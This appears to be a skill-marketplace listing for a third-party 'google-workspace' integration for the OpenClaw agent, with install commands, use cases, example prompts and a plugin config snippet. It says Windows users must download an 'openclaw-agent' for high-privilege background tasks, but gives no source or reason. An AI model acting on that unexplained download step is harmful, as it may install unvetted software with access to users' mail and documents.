google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Automate your Google Workspace workflow with OpenClaw. Sync Gmail, Calendar, Sheets, and Docs effortlessly using this official skill integration.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/devbd1/google-workspace-7bvnoWhat This Skill Does
The google-workspace skill provides a robust bridge between the OpenClaw agent and the Google Workspace ecosystem. It empowers users to automate administrative tasks across Gmail, Calendar, Sheets, Docs, and Contacts. By leveraging the underlying Google APIs, the skill enables reading and sending emails, scheduling appointments, performing complex spreadsheet operations, and generating or editing documents. It functions by initializing a secure OAuth2 session and utilizing the openclaw-agent bridge to execute high-privilege tasks safely.
Installation
To install this skill, run the following command in your terminal: clawhub install openclaw/skills/skills/devbd1/google-workspace-7bvno. Once installed, ensure you have the required Python dependencies (google-api-python-client, google-auth-httplib2, and google-auth-oauthlib) installed in your environment. You must also download the credentials.json from the Google Cloud Console and place it in your project root. For Windows users, downloading the openclaw-agent is mandatory for the background process orchestration to function properly.
Use Cases
- Automated Reporting: Automatically extract data from incoming emails and populate specific rows in a Google Sheet.
- Calendar Management: Sync team meeting schedules and set up automatic reminders or follow-up email drafts.
- Document Generation: Create standardized reports or invoices from existing templates stored in Google Drive.
- CRM Syncing: Maintain up-to-date contact information by pulling data from sheets or external databases and pushing it to Google Contacts.
Example Prompts
- "Check my inbox for emails from '[email protected]' and summarize the last three messages in a new document."
- "Schedule a one-hour team sync meeting for next Tuesday at 10 AM on my calendar and send a calendar invite to the team."
- "Update the 'Inventory' Google Sheet with the values currently in the 'Stock' column of my latest spreadsheet draft."
Tips & Limitations
- Authentication: The initial setup requires a one-time browser-based OAuth authorization. Keep your
token.picklefile secure as it contains your session access tokens. - API Quotas: Be mindful of Google's API rate limits, especially when running automated loops. If you perform frequent tasks, consider adding sleep intervals in your scripts.
- Permissions: Always request the minimum scopes necessary for your operations to maintain the principle of least privilege.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-devbd1-google-workspace-7bvno": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-read, file-write, external-api
Related Skills
scrapling-mcp
Advanced web scraping with Scrapling — MCP-native guidance for extraction, crawling, and anti-bot handling. Use via mcporter (MCP) to call the `scrapling` MCP server for execution; this skill provides strategy, recipes, and best practices.
scrapling-mcp
Advanced web scraping with Scrapling — MCP-native guidance for extraction, crawling, and anti-bot handling. Use via mcporter (MCP) to call the `scrapling` MCP server for execution; this skill provides strategy, recipes, and best practices.
Vibe Kanban Mcp
Skill by devbd1
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.